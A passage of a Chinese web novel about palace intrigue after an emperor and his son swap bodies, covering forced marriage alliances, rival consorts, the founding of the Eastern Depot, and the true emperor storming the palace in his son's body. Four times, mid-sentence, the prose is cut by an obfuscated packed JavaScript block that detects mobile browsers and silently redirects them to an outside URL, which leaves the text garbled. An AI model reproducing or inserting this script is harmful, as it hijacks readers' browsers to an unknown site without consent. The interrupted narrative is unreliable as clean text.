燕王:…… 韩王:…… 魏王:…… 通常说出这句话后,接下来要说的不是成家就是立业! 他们如今已经在朝堂上旁听,所以父皇要说的绝对不是立业,而是成家的问题! 这四个皇子中,只有静王娶过王妃。但是静王妃过门不到两年,因难产去世,子嗣也没能保住。通俗的来说,静王如今是个鳏夫。 周安之见他们一脸平静,接着言道:“是时候该成家了!” 在四位皇子看来,父皇这么说必然是有意要为他们办一场相亲宴,给他们挑选王妃。所以他们的内心相对来说还是挺平静的! 周安之打量着他们的表情,往下说道:“上回匈奴递来国书,有意两国和亲。朕思来想去,觉得派公主和亲不妥。朕的子嗣当中,你们这几个皇子才华出众。理应为国分忧!” 静王:??? 燕王:??? 韩王:??? 魏王:??? 不是!父皇这话是什么意思! 总不能是安排皇子和亲吧!简直是滑天下之大稽!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16081875|179349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 古往今来,从未听说过安排皇子和亲的! 四人在心里祈祷:老天保佑!一定不是他们以为的这个意思! 周安之见他们的表情有了变化,继续言道:“皇子和亲,无伤大雅!你们每一个都如此聪慧有能耐,无论是谁嫁到那边,都要发挥所长,祸乱匈奴内部,争权夺势!靠你们的智谋,为大月扩张国土!” 静王:!!! 燕王:!!! 韩王:!!! 魏王:!!! 老东西疯了吧! 一定是疯了! 要不然不会说出这种话! 竟然想将皇子嫁给异族!企图用这种手段扩张大月领土! 真是荒唐!太荒唐了! 不单四位皇子瞠目结舌,李正喜与万秉德等人听了皇帝所言,也是一副目瞪口呆的神情。 见四个皇子表情抗拒,周安之平心静气地哄道:“你们也不必如此震惊!食君之禄,当为君分忧。身为皇子,你们既然享受了权势,自然得为国家有所付出。你们每一个都是朕的好儿子,朕相信无论派出谁去和亲,那个人必然能够胜任,完成使命!” 四位皇子的脸上皆是惊恐的神色,根本不敢想象自己的耳朵听到了什么! 一时之间,殿内除了沉重的呼吸声,没人开口回应周安之。 见他们装哑巴,周安之直接开口点名:“老四。” 静王顿时吓得浑身发抖,脸色都变白了。下意识跪下来,急切地说道:“父皇、儿臣、儿臣克妻啊!” 往日里其他兄弟拿克妻之名来奚落静王时,静王特别愤怒!现在他可真庆幸这种时候克妻的名声能够避免这一桩祸事! 周安之微蹙眉头,对他言道:“女子生产本就是个难关,与你何干!什么克妻克夫,不过都是他人恶意攻击乱编出来的说辞!你不必在意!朕觉得你足智多谋,很适合和亲。” 静王都要吓哭了,声音颤抖地回应道:“父皇、儿臣愚钝!轮才能,儿臣还不及几位弟弟!” 燕王:!!! 老四,我可是你的队友啊!可不兴这般害人的! 韩王:!!! 老四这个狗东西!不行,改日必须得安排人将老四毒打一顿! 魏王:!!! 去他娘的死老四!这是要将祸事推到他们这几个小的身上!当真无耻!真是该死! 周安之的视线转移到燕王身上。 燕王早就吓出了一脸冷汗,对上那双阴沉而又犀利的目光,他双腿发软登时跪下,声音哀嚎道:“父皇!儿臣、儿臣身子不好!有难言之隐啊!” 这种时候燕王也顾不得自己的名声了,更不在意今后会被其他兄弟嘲笑!宁可委婉地说自己不举,也得躲避掉这桩祸事! 周安之笑了,压根不信这套说辞。告诉他:“有什么难言之隐,御医都能把你医治好!” 燕王哭着哀求道:“父皇,儿臣身子孱弱,比不得几位弟弟身子健硕!怕是还没踏出大月,就要折在道上了!求父皇体恤儿臣!” 韩王眼神恶狠狠地瞪着燕王的后脑勺,真想立马给对方一刀,直接砍了老四的狗头! 魏王虽然生气老四跟老六的无耻,但是很清楚眼下最重要的是想好说辞,避免这桩祸事落到自己头上! 13.第 13 章 第十三章有机可乘 魏王知道皇帝接下来会点名韩王,若是韩王也有一番合理的拒绝说辞,那和亲一事怕是会落到他头上。 想好应对的说辞后,魏王在皇帝点名韩王之前,飞快地开口抢话:“父皇,儿臣、儿臣容貌丑陋!不及其他哥哥貌美!若是出嫁,定然会影响大月形象!” 说话的时候,魏王特地露出自己的一口龅牙。呲牙一笑,模样滑稽。 周安之只好把目光锁定在韩王身上。 这眼神将韩王吓得浑身发凉,当即跪下来说道:“父皇、儿臣以为应当让五哥去和亲!兄弟当中,唯有五哥容貌最是出众!” 得亏魏王拿容貌说事,给韩王提了个醒!让韩王瞬间想到了秦王! 秦王的确是容貌最出众的皇子。颜值担当!形象担当!让这个花瓶出嫁最是合适! 提起秦王,在场的四位皇子顿时默契十足! 没错!就该让老五去和亲啊! 于是乎,静王言道:“父皇,儿臣也以为五弟适合和亲!” 燕王紧跟着附和道:“是也!论容貌,五哥可是绝色!” 魏王也跟着说道:“五哥容貌绝美,嫁过去五哥必定能依靠美色拿捏居次。或还能凭借着美色勾引匈奴王后!祸乱匈奴单于一家!” 匈奴王称单于,匈奴公主称居次。 韩王见哥几个都这么配合,瞬间松了口气。 他赶紧加把油,卖力地推荐起秦王:“九弟所言极是!就凭五哥的容貌,用美人计必然能够祸乱匈奴内部!挑起匈奴各部的争斗!让我大月有机可乘!” 周安之被他们所言逗笑了。 这群兄弟真够可以的! 有好事绝对想不起他,有祸事第一个推他出来挡灾! 若不是周安之现在换了个壳子,怕是自己的命运早就被他们坑好了! 笑容阴恻恻地扫过这四个脑袋,周安之缓缓言道:“老五是什么德性你们还不清楚?让他去和亲,那就是丢人现眼!等老六办完差事回来,朕邀请匈奴居次来大月亲自选夫。” 静王他们听到这话,感觉自己头顶上悬着一把刀,这把刀随时可能会落下来砍掉他们的脑袋! 从万岁殿出来的时候,四人心情沉重。 他们都不想去和亲! 这一去,沦为笑话不说,最重要的是多半会成为一颗弃子!不单失去大月的权势!还凶多吉少,危机四伏! 四人在心里骂骂咧咧:这个老不死的怎么能想出这么损的招! 现在梁王、鲁王、赵王都不在身边。他们只能到后宫求助。 四位皇子的生母,得知如此荒唐的事情,当即就跑去找贤妃、惠妃、宁妃商议如何应对。 贤妃、惠妃、宁妃听完之后目瞪口呆。不确定地又问了一遍,最后才确定自己没有听错! 皇帝竟然要更改和亲人选!公主和亲变成了皇子和亲! 这老登莫不是疯了!竟然想出这种骚主意! 面对求到她们面前的小妹们,贤妃、惠妃、宁妃根本没法为她们解决这件事。 静王还好说,毕竟有个克妻之名。 魏王胜在相貌差点,也能避开这桩婚事。 其他皇子怎么办? 皇帝前脚刚说了邀请匈奴公主过来选夫,总不能后脚几位成年的单身皇子就急匆匆地成亲吧!这不是打皇帝的脸吗! 虽然众人一致认为秦王是和亲的最佳人选。可是皇帝有言在先,秦王品德不佳,根本不配参与匈奴公主的选夫活动! 贤妃、惠妃、宁妃费尽口舌才把这四位皇子的生母打发走。 宁妃后知后觉的反应过来,低声言道:“难怪陛下让永和那丫头摄理六宫事务!原来是打算换人和亲!” 她不禁往深了想,也许皇帝已经想过要让永宁公主和亲。但是陈皇后那边拒绝了皇帝,才会惹怒皇帝收走后宫大权! 宁妃越想越觉得就是这么回事! 她拿出一张纸,在纸上写下工作思路。 首先,得拿捏永和公主。让永和公主为自己所用!如此相当于后宫大权掌控在自己手中! 同时,还得针对陈氏子弟,争取将陈皇后踢下凤位! 其次,皇子和亲其实对宁妃的影响并不大。因为赵王身边的小弟只有魏王。魏王容貌不行,多半会落选。 再则,皇子和亲一事,其实可以削弱梁王或者鲁王的势力。从静王、齐王、燕王、韩王当中无论挑选出哪一位皇子和亲,都能削弱其中一方的势力! 综上分析,当下的局势,对宁妃与赵王是有利的! 宁妃满意地点头,捋清楚工作思路后,将这张纸烧了。 贤妃与惠妃也明白换人和亲一事会对她们带来多大的影响!送走了其他妃嫔后,心里开始焦虑起来。 梁王与鲁王分别都有两个小弟支持。若是皇帝从静王、齐王、燕王、韩王里选出皇子送去和亲。必然会削弱梁王或鲁王的势力! 贤妃与惠妃整理了一下思路,觉得眼下的当务之急是搞清楚皇帝为何要从公主和亲换成皇子和亲! 两人同时将焦点放在永和公主身上! 反正宁妃已经先行动了,有宁妃接近永和公主冲锋在前,贤妃与惠妃学着宁妃接近永和公主,也不会引起皇帝的太大警惕。 想明白后,贤妃跟惠妃同时出动。她们算计着时间,在永和公主回去的路上堵人! 贤妃、惠妃、宁妃碰到一起的时候,三人的脸色都不太好。 此时三人脑子里只有一个念头:真是晦气!哪哪都有她们! 宁妃觉得贤妃跟惠妃既然来到这里堵人,必然是知晓了永和公主掌权的事。 这两个贱人打的算盘跟自己一样!都想通过拿捏永和公主来操控后宫事务! 她翻着白眼,故意言道:“二位姐姐今日倒是有空来这条道上转悠!可惜了,这条道上的鸟儿已经投入妹妹的笼中。二位姐姐莫要再惦记这只小鸟!” 贤妃跟惠妃听出宁妃话里的意思,两人只是笑笑,压根没信。 惠妃笑盈盈地说道:“我倒是没有宁妃妹妹的胆子!连万岁殿那边飞出来的鸟儿也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16092527|179349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敢抓起来圈养。妹妹也不怕陛下不高兴?” 闻言,宁妃顿时拉下脸,不悦地反驳道:“惠妃姐姐何必如此嫉妒?你眼红的样子当真吓人。” 贤妃适当地开口说话:“不是我偏帮惠妃妹妹,宁妃妹妹此番做事有欠考虑。” 贱人!还不偏帮呢!这心思都从东墙偏向了西墙! 宁妃冷笑着回应道:“贤妃姐姐这是说的什么话?若是二位没有这个心思,怎会来此?不过是我抢先了一步,让你们嫉妒了。永和那丫头已然明说,就需要我这般有能力的妃子帮她协理后宫!你们已经没机会了!” 贤妃:!!! 惠妃:!!! 她们听到了什么! 宁妃说要帮永和公主协理后宫? 后宫大权不是在陈皇后手里吗? 这是怎么回事! 惠妃心急,直接问道:“现在是永和公主摄理六宫事务?” 宁妃:??? 不是!她们不知道? 见贤妃跟惠妃反应惊讶,宁妃登时明白是自己泄露了消息!心里后悔不已!自己怎么就着了她们的道呢! 看宁妃这般懊恼的表情,贤妃跟惠妃立马了然。 现在的确是永和公主在摄理六宫事务! 难怪万秉德特地安排永和公主迁宫!永和公主这两日总是往千岁殿跑!宁妃一天跑几趟去堵永和公主!一切原因都在这里! 惠妃微蹙秀眉,低声呢喃道:“从未听说公主摄理六宫事务……” 贤妃没有言语。心想,古往今来也没有见过安排皇子去和亲的! 皇帝那个老不死的,一天到晚净琢磨如何折腾他们! 今日陈皇后特地教到天黑,想让永和公主住在千岁殿,多培养培养永和公主对她的依赖。 可永和公主坚持要回自己的住处。这丫头真是不懂得看人脸色!一点面子都不给! 纵然心里不高兴,陈皇后最后也只能派林嬷嬷将永和公主送走。 半道上,碰到这么些人。林嬷嬷得面色瞬间沉下来。 昨日只是宁妃来堵永和公主,今日贤妃跟惠妃都来了!看来永和公主摄理六宫事的消息已经传开了! 被三妃围堵,面对这番架势,林嬷嬷镇定地挡在永和公主的身前应付贤妃等人。 “娘娘们万福!奴婢奉皇后娘娘之命,特将永和公主送回望月亭。还请三位娘娘莫要为难!” “永和给各位娘娘行礼。” 昨日被宁妃围堵后,永和公主就想到了接下来自己要面对的难关。 她只是个小可怜,乍然得到后宫大权。皇后、贤妃、惠妃、宁妃都想得到她这颗棋子。 永和公主已然看清楚局势,父皇就是不想将后宫大权分给贤妃、惠妃、宁妃,所以才会将后宫大权交给她这个没有根基的公主! 她绝对不能跟其中一方为伍!否则自己便会失去当下所拥有的一切! 父皇将后宫大权交给她,那自己就得守住手里的权力!若是无能,她必然成为弃子!最后的下场,就是嫁人! 14.第 14 章 第十四章帮衬帮衬 “永和,听说你迁宫了!本宫准备了一份礼物送给你!” “永和,本宫也有礼物送你!你刚迁宫必然有很多东西需要置办,本宫到你那里瞧瞧!帮衬帮衬!” “永和,到本宫那里坐坐吧!本宫送你的东西必然比她们厚重!” 贤妃、惠妃、宁妃三人同时开口拉拢永和公主。 林嬷嬷脸色难看,生怕永和公主给她们机会,抢在永和公主面前说话:“多谢三位娘娘对永和公主的关怀。三位娘娘不必牵挂,永和公主自有皇后娘娘照顾!” 宁妃昨日被林嬷嬷顶撞,本就对千岁殿很不满。 今日林嬷嬷还敢对她这么嚣张,宁妃当下也不惯着对方了,直接开怼:“本宫跟永和公主说话,轮得到你一个奴婢插嘴吗?千岁殿的人都这般不懂规矩吗?难怪陛下会让永和公主摄理六宫事!皇后娘娘当真得好好学学如何管教奴婢了!” 林嬷嬷气得瞪了眼宁妃。 俗话说打狗也得看主人!宁妃现在连皇后都不放在眼里了!竟敢如此攻击皇后! 果然,皇后娘娘最担心的事还是发生了!失去后宫大权,皇后必然成为后宫笑话。 宁妃见林嬷嬷还敢瞪自己,当即命令明月:“竟敢对本宫不敬!来人,给本宫掌她的嘴!” 贤妃跟惠妃可不像宁妃这般没脑子。 陈皇后虽然失去了后宫大权,但是瘦死的骆驼比马大。陈皇后还占着凤位,陈氏子弟也在朝为官。若是能够将陈皇后拉拢到自己的阵营里,那可真是如虎添翼啊! 见到宁妃要打陈皇后的脸,贤妃开口劝阻对方:“这位林嬷嬷毕竟是皇后娘娘身边的人,她也是听从皇后娘娘的命令做事。宁妃妹妹这般苛待皇后娘娘的人,岂不也是对皇后娘娘不敬?” 惠妃自然不能让贤妃出这个风头,不甘人后的出声言道:“想必是陛下怜惜皇后娘娘身子虚弱,才会让永和公主协理六宫事务。宁妃妹妹莫不是以为皇后娘娘失势,故而才会为难千岁殿的人?如此行径,让陛下知晓,怕是会惹得龙颜大怒。” 见这两个贱人一同攻击自己,宁妃气急了。脸色阴沉地冲她们怒道:“你们这是说的什么话!陛下让永和摄理六宫事务!可不是协理六宫事务!二位姐姐既然不清楚情况,就莫要多嘴!有句话叫‘装好人,遭雷劈’!你们可得当心点儿!” 贤妃跟惠妃被宁妃这一怼,两人的脸色都不太好。正准备反击对方,一道柔弱的声音忽然冒出来。 “永和不打扰各位娘娘谈笑,先行告退。” 说完这话,永和公主快速撤离现场。 贤妃:…… 惠妃:…… 宁妃:…… 小丫头真会躲! 目标人物消失,贤妃、惠妃、宁妃眼神不善地相互盯着彼此。 惠妃阴阳怪气地数落起宁妃:“宁妃妹妹真是要改改脾气了。瞧你方才的模样,都把永和吓着了!” 宁妃一脸怒意地反击道:“昨日本宫与永和见面之时聊得挺好!怎么今日碰上两位姐姐在场,永和就躲着了?” 贤妃也对宁妃这个蠢货有意见,不过懒得花时间跟对方争吵。直接转身离开,去追永和公主。 正在争吵的惠妃与宁妃看到贤妃也跟着跑了,二人顾不得吵下去,生怕自己晚了一步让贤妃得逞,急忙提着裙摆追去。 林嬷嬷眼神冷冷地盯着她们的背影。 回到千岁殿,她一字不差的将现场发生的情况告诉陈皇后。 “这几个贱人!见本宫失势,便急忙踩着本宫!” 陈皇后恨贤妃、惠妃、宁妃,更恨皇帝那个残酷无情的男人!若非对方夺走她的后宫大权,她又何至于被其他妃嫔踩脸! 永和公主知道自己躲得了初一,躲不了十五。终究是要跟贤妃、惠妃、宁妃碰面交手的。 想起秦王曾经给她讲过的故事,永和公主没想到有朝一日自己也能用这种手段对付其他人。 这几日,永和公主分别单独见了贤妃、惠妃、宁妃。 永和公主告诉她们,虽然皇帝下令将后宫大权交给她,实则陈皇后压根没有交接后宫事务。话里暗示贤妃等人,她正在被陈皇后拿捏着,不敢与她们走得太近。 同时,永和公主还托人去请万秉德过来。将当下她面对的难题告诉对方。借万秉德之口把情况禀告给皇帝,让皇帝心里有数。 这几日总是有不少官员入宫打扰周安之。周安之虽然一直待在万岁殿,但是可没有闲着。 朝中的文官权力太大了,皇子夺嫡使朝堂乌烟瘴气。 周安之这几天也没闲着,既不上朝,也不批折子,净琢磨着如何护住自己。 李正喜是父皇老登用惯的人,最是熟悉父皇老登的习惯。为防止李正喜发现他的异样,必须得把此人调开。周安之有意安排李正喜搞个出特|务监察机构! 左少监万秉德办事能力不错,可以让万秉德协助永和公主打理后宫。 右少监曹望属于那种老实干活不表现的人。周安之打算试着让曹望升到司礼监掌印的位置,接替李正喜伺候在自己左右。 李正喜得知皇帝要把他调走,跪在地上哭着磕头:“奴婢知错!求陛下看在奴婢伺候多年的份上,给奴婢一个将功赎罪的机会吧!” 作为宫里的人精,李正喜能爬到这个位置,自然清楚皇帝必定是对他有所不满,才会把他踢走! 别管原因是因为什么事,认错就对了! 见李正喜不愿意走,周安之皱着眉头,换了一套说辞:“你若是没有组建东厂的能力,朕另安排曹望来组建东厂。让他进来见朕。” 李正喜僵着脸,根本猜不透皇帝的心思。 凭着多年御前伺候的经验,他深知自己如果不接下这个差事,那‘无能’二字便一直挂在他脸上!日后皇帝也不会再重用他! 所以无论这是好事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102512|179349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是坏事,李正喜都得接受皇帝的安排,听从皇命! 咬咬牙,李正喜猛然抬起头,面色坚定地回应道:“奴婢定竭尽全力,为陛下建立起东厂!” 周安之见对方接受了,面色缓和,告诉李正喜:“东厂是朕的眼睛,为朕监察百官。只听从朕的调遣。你能否做到?” 李正喜再次叩头,声音铿锵有力地回应道:“奴婢与东厂誓死效忠陛下!” “今后不必再称‘奴婢’了,往后以‘臣’自称。”周安之既然要用李正喜来建立东厂监察百官,自然得把李正喜抬起来。 李正喜愕然,整个人都懵了。抬起头,眼神小心翼翼又满是不敢置信地望着皇帝。 官吏为臣。卑贱为奴。 李正喜一开始以为皇帝让他建立东厂,是带领一群太监到官员府中为奴。一边伺候官员一边盯着官员的动静。 现在才猛然意识到‘东厂’的含金量有多高! 一下子摆脱奴婢这层身份,权力蔓延到宫外,监察百官! 他试探地询问道:“陛下,东厂是否有审案之权?” 唯有重要的监察机构,才有审案之权。比如刑部、大理寺、都察院这些可都是掌控生死的重权部门! “先把东厂建起来,其他事宜日后再议。” 周安之得根据局势来给权。当下文官掌控朝堂,周安之需要有一股新势力替他与文官对抗。 推武将与文官相斗,武将的心思都放在朝堂之争上,无心镇守四方,必然会影响社稷稳定。 故而只能推阉党来与文官抗衡。阉党的权力给太多,也怕会造成恶劣影响。周安之得时刻掌控住朝堂这把枰。不能让阉党势力压过文官,也不能让文官独占风头。 自从变成皇帝后,周安之都觉得自己变态了不少。不单得防备后宫,为了巩固皇权,还不得不搞权力制衡。 唉!当皇帝太难了!真不是人干的工作! 得不到审案之权,李正喜也不失望。 既然皇帝没有直接拒绝,也没有呵斥他异想天开。话里的意思,明显有意后期给权! 看来想要得到审案之权,得拿出真本事! 李正喜低声回应:“奴婢、不是、微臣遵旨!谢陛下隆恩!” 改了自称后,他特地微微抬头偷偷观察皇帝的神色。 “让曹望进来。”周安之对李正喜摆手。 “微臣遵命!” 见皇帝不喜不怒,一脸平静,李正喜心里稍安。赶紧从地上爬起来,转身往外走的时候,李正喜心情大喜,嘴角忍不住微微上扬。 据他分析,应当是前几日朝中官员因天降警示逼迫皇帝,惹得龙颜大怒。故而皇帝才想着搞出个特务监察机构,收拾这群不听话不老实的官员! 感谢老天,多谢朝中官员!李正喜没想到有生之年自己能从奴转为臣!真是可喜可贺!回头他得多烧点纸钱给地府的祖宗们!让祖宗们继续保佑他! 15.第 15 章 第十五章闯入皇宫 万秉德跟曹望守在门外,看到李正喜一脸笑意的走出来,二人暗暗猜测对方为何这么高兴。 “小望子,陛下召见。”李正喜昂头挺胸,眼神蔑视地扫过万秉德跟曹望。 曹望收回视线,低着头往里走。 见李正喜的优越感比往日还强,万秉德低声询问道:“也不知陛下为何单独召见右少监?” 向来皇帝召见人的时候,李正喜都会站在一旁伺候。现在曹望都进去了,李正喜还站在门口。 李正喜意味深长地告诉万秉德:“小德子,你需得努力啊!” 万秉德:??? 老东西说这话是何意? 他正要继续询问李正喜话里的意思,对方这就走了! 万秉德低声叫道:“李掌印!” 李正喜没有停下脚步,浑身轻飘飘地往外走。 皇帝既然叫曹望进去,多半会让曹望接任掌印太监的位置。不过李正喜并不打算将此事告诉万秉德,甚至还特地留下一句话挑起这二人的矛盾。 等万秉德知晓曹望往上升后,必然会心生嫉恨!李正喜乐见司礼监的人相争相斗! 万秉德皱着眉头,面色泛沉。 李正喜的话显然是在提醒他!但是老东西又不明说! 曹望得知皇帝要让他接任司礼监掌印的位置,不带任何犹豫,当即跪下来磕头,激动地言道:“奴婢谢主隆恩!必定用心伺候好陛下!” 周安之淡淡地言道:“若是让朕发现你有异心。呵呵——” 曹望急忙磕头回应道:“奴婢誓死效忠陛下!绝对不敢有二心!” “给你两日的时间,交接完所有事宜。” 感觉手背有点痒,周安之睨了眼左手,看到手背上多了一根白发,心情登时就不好了。 才逍遥了两年,就变成了老头,这些衰老表现无时无刻不在提醒周安之当下这个身子有多糟糕! “奴婢遵命!” 发现皇帝神色阴沉,刚才冒出来的那点儿升职后的喜悦情绪顿时荡然无存。曹望再次磕头谢恩,跪着退后几步,才慢慢爬起来弯着身子退出去。 从里边出来的时候曹望面色凝重。 见状,万秉德诧异。看这模样难道姓曹的被骂了? 同为司礼监少监,趋于掌印太监之下。万秉德与曹望属于同级竞争关系,两人鲜少交谈。万秉德很清楚哪怕自己开口询问,曹望也不会如实告诉他! 万秉德只能沉默地打量着曹望。 曹望淡淡地扫了眼万秉德,没有将这件好事说出来。 他心里明白,纵然自己当上了掌印,但是在还没有坐稳这个位置获得皇帝的信任前,他随时都有可能被替换掉!为防止别人算计,曹望必须得谨慎行事! 斟酌一番后,曹望低声开口询问万秉德:“李掌印何在?” 毕竟现在还没有正式交接职位,哪怕李正喜今后不在御前伺候了,曹望还是给李正喜几分面子。 回想李正喜先前面带喜色,曹望觉得对方应当换了个好去处,要不然李正喜不会这么高兴。 万秉德如实回答道:“方才李掌印出去了。” 曹望轻轻颔首,转身离开。 万秉德左等右等,发现李正喜跟曹望一直没有回来。不知道这两人在忙什么,御前没人伺候怕是不妥。 犹豫了许久,他最终还是开口冲里边轻声询问:“陛下,可要奴婢伺候?” 周安之正站在铜镜前,镜子里的面孔从一脸愁容逐渐变得越发阴沉。 一直盯着这张脸,使他的心情越发糟糕,哪怕听到万秉德的声音,也无心理会。 乍然从如花似玉的少年郎变成半头银发的老男人,他的压力值每天都是爆红的状态。时刻提防着身边的所有人,睁眼闭眼各种算计,这种没有安全感的生活真是太压抑了! 周安之真的很想念在沧州生活的逍遥日子。也不知道秦王府那边怎么样了。 目前的情况,究竟是他跟父皇互穿,用了对方的身子。 还是父皇老登已经魂归地府,其中发生了意外,导致周安之魂穿到这个老登的身体。 自己那个貌美年轻的身子如今到底是死是活,是谁在用。 面对不同的情况,周安之还得准备好不同的解决方案。 如果父皇老登已经魂归地府,秦王那个身子也死了,那周安之只能认命当好这个皇帝。 倘若秦王那个身子还好好的活着,这壳子里换了个陌生的灵魂,只要对方不搞事情周安之可以不予理会。 但若是父皇老登跟他互换身子这种情况,这可麻烦了! 都不用周安之下令找人,父皇老登自己就会跑回京城找他算账! 任凭周安之如何解释,父皇老登都不会相信他是无辜的!只会觉得当下发生的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115184|179349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诡异情况都是周安之的手笔! 周安之当真是有冤无处可申述! 越想心情越烦躁,周安之只能祈祷不是互换身子这种糟糕的情况!要不然一地鸡毛,根本无法安生! “陛下!有急报!” 万秉德的声音从外面传来。声音尖锐激动,显然是发生了什么重要的事情! 周安之下意识抬脚往外走,走了几步恍然反应过来自己现在是皇帝,不能急急躁躁的。哪怕刀架在脖子上也得维持住帝王威严的形象!要不然性格突然转变必当会引人猜疑! 坐下来后,周安之出声回应道:“进!” 万秉德弯着腰低头进入寝殿,见到皇帝后,弯腰行礼,开口说话:“启禀陛下,秦王抢夺锦衣卫利器后闯入皇宫!” 周安之:…… 真是怕什么来什么! 现在他可以确定是什么情况了! 他最担忧也是最糟糕的情况真的发生了! 父皇老登必然是跟他互换了身子,发现异样后勃然大怒,以最快速度杀到宫里要找他质问! 万秉德等了一会儿,不见皇帝出声,忍不住抬起眼皮观察皇帝的神色。 见皇帝面色凝重,一副深思的模样。 万秉德小心翼翼地问道:“陛下,可要派人拦住秦王殿下?” 若是皇帝生气,早就破口大骂了。但是皇帝迟迟不语,不知道在思索什么。 按照规矩,受封就藩之后,藩王无诏不得入京。 秦王封王就藩之后,这两年除了进京给皇帝贺寿之外,老老实实安安生生的在沧州过着自己的小日子。 现在秦王突然跑回京城,模样狼狈,与锦衣卫发生冲突,携带利器擅闯皇宫,这可是一件大事! 若是往大了说,完全可以给秦王的行径定个造反的罪名! 万秉德觉得皇帝没有发怒,必然是在衡量如何定秦王的生死。 如果当下拦阻秦王面圣,封锁消息,把事情的影响缩小。或还能保住秦王的性命。就看皇帝要如何对待秦王了。 周安之此时也在分析这件事的影响。 在见与不见之间,周安之决定还是不见!得先让父皇老登冷静冷静!像现在这样闹大,对他们谁都没有好处! 沉默了片刻后,他才缓缓开口,命令道:“将秦王捆绑起来,送到天坛那里反省。” 万秉德颔首:“奴婢遵旨!” 16.第 16 章 第十六章漠不关心 发现身子的异样后,周瑜然认定此事是秦王用巫术在算计他。 任凭他如何暴揍那几个老头,他们都不肯说出巫师在哪。 周瑜然知道待在秦王府相当于困在牢笼里,见问不出情况,只能匆忙挑了一匹马离开秦王府,火速奔赴京城。 可秦王的身子就是个绣花枕头!中看不中人!就连秦王府的马也是一路货色!全都是废物! 刚出城,这个娇弱的身子就开始手疼、腿疼、屁.股疼! 再往外走三里地,坐下的白马也闹起了脾气,耍赖不肯走! 周瑜然气得当场拿缰绳抽打白马,将对秦王的怒火全都发泄在白马身上。 谁料这畜生竟然一脚把他蹬进了林子里!然后跑了! 周瑜然已经很多年没有遭过这种罪了! 面对如此窘迫的遭遇,他骂骂咧咧,忍着一身疼痛从商队那里抢了一匹马继续赶路。 还没赶到下一个地方,周瑜然就被商队逮住暴打了一顿! 挨打的第一瞬间,他下意识使出武功反击,奈何这个废物身子经过一番折腾根本使不出几分反抗的力气!只能任人毒打! 即使周瑜然亮出秦王的身份,也没人相信!最后这群商队抢走了他身上值钱的东西才肯放了他! 周瑜然就像一只丧家之犬,跌跌撞撞,狼狈地走了几十里地才来到渡口。 然而到了渡口,没船愿意带他! 种种遭遇让周瑜然心中的怒火越烧越旺。堂堂九五之尊,竟沦落至此!他恨不得将老五那个孽障抓起来千刀万剐! 万幸不是所有人都将周瑜然当骗子,有个商户子弟也要去京城,便相邀带上了周瑜然。 此番来京,可谓是历经千辛万苦!周瑜然将这一切磨难全都算在周安之的头上! 越接近皇宫,周瑜然的怒火烧得越旺盛。从锦衣卫手中抢到了绣春刀后,他迫不及待地闯进宫中。 可还没走出甬道,他就被锦衣卫前后包围,进退两难。 周瑜然跟锦衣卫僵持时,这废物身子手疼得快握不住绣春刀了。 正当他思索要不要继续硬闯皇宫之时,身子比大脑先一步有反应。 “哐当——”手一松,绣春刀掉落在地。 周瑜然脸色阴沉,情绪越发狂躁。 就在他的怒火即将爆发之时,万秉德出现了! 锦衣卫让出路,给万秉德走过来。 万秉德看到秦王的模样,十分惊讶。 睨了眼地上的绣春刀,幸好秦王已经放下了利器!要不然还真不好收场! 先向秦王行礼,万秉德开口道:“秦王殿下,圣上有口谕。” 在场的锦衣卫纷纷跪下来。 万秉德见秦王不为所动,只能再次提醒道:“秦王殿下,圣上口谕!” 周瑜然眼神莫测的与万秉德对视。 他现在的身份是秦王。根本无法开口告诉这些人他才是真正的皇帝! 纵然他说出来也无人相信这件事是真的! 老五这个狗东西,其心可诛!用这种手段争夺皇位,当真是险恶! 当下‘秦王’无诏进京,又擅闯皇宫,两大罪名可视为造反。若是‘皇帝’要赐死‘秦王’也合情合理! 恢复冷静后,周瑜然觉得自己被愤怒冲昏头脑,太过冲动了! 他想要夺回自己的身子,还需从长计议! 眼下只能忍一时之屈!等自己夺回身子后,再扒了老五的皮! 